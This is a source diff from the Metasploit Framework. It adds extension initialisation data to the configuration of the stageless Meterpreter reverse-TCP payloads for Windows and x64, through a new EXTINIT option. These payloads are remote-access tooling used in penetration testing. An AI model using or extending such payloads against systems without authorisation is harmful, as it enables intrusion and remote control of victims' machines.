Adding stageless init script support

lib/rex/payloads/meterpreter/config.rb

@@ -120,6 +120,20 @@ private
     extension_data = [ ext.length, ext ].pack('VA*')
   end
 
+  def extension_init_block(name, value)
+    # for now, we're going to blindly assume that the value is a path to a file
+    # which contains the data that gets passed to the extension
+    content = ::File.read(value)
+    data = [
+      name,
+      "\x00",
+      content.length,
+      content
+    ]
+
+    data.pack('A*A*VA*')
+  end
+
   def config_block
     # start with the session information
     config = session_block(@opts)
@@ -148,6 +162,15 @@ private
       config << [0].pack('Q<')
     end
 
+    # wire in the extension init data
+    (@opts[:ext_init] || '').split(':').each do |cfg|
+      name, value = cfg.split(',')
+      config << extension_init_block(name, value)
+    end
+
+    # terminate the ext init config with a final null byte
+    config << "\x00"
+
     # and we're done
     config
   end

modules/payloads/singles/windows/meterpreter_reverse_tcp.rb

@@ -35,7 +35,8 @@ module Metasploit3
       ))
 
     register_options([
-      OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
+      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
+      OptString.new('EXTINIT',    [false, 'Initialision strings for extensions']),
     ], self.class)
   end
 
@@ -53,7 +54,8 @@ module Metasploit3
       expiration: datastore['SessionExpirationTimeout'].to_i,
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_tcp(opts)],
-      extensions: (datastore['EXTENSIONS'] || '').split(',')
+      extensions: (datastore['EXTENSIONS'] || '').split(','),
+      ext_init:   (datastore['EXTINIT'] || '')
     }
 
     # create the configuration instance based off the parameters

modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb

@@ -35,7 +35,8 @@ module Metasploit4
       ))
 
     register_options([
-      OptString.new('EXTENSIONS', [false, "Comma-separated list of extensions to load"]),
+      OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
+      OptString.new('EXTINIT',    [false, 'Initialision strings for extensions']),
     ], self.class)
   end
 
@@ -53,7 +54,8 @@ module Metasploit4
       expiration: datastore['SessionExpirationTimeout'].to_i,
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_tcp(opts)],
-      extensions: (datastore['EXTENSIONS'] || '').split(',')
+      extensions: (datastore['EXTENSIONS'] || '').split(','),
+      ext_init:   (datastore['EXTINIT'] || '')
     }
 
     # create the configuration instance based off the parameters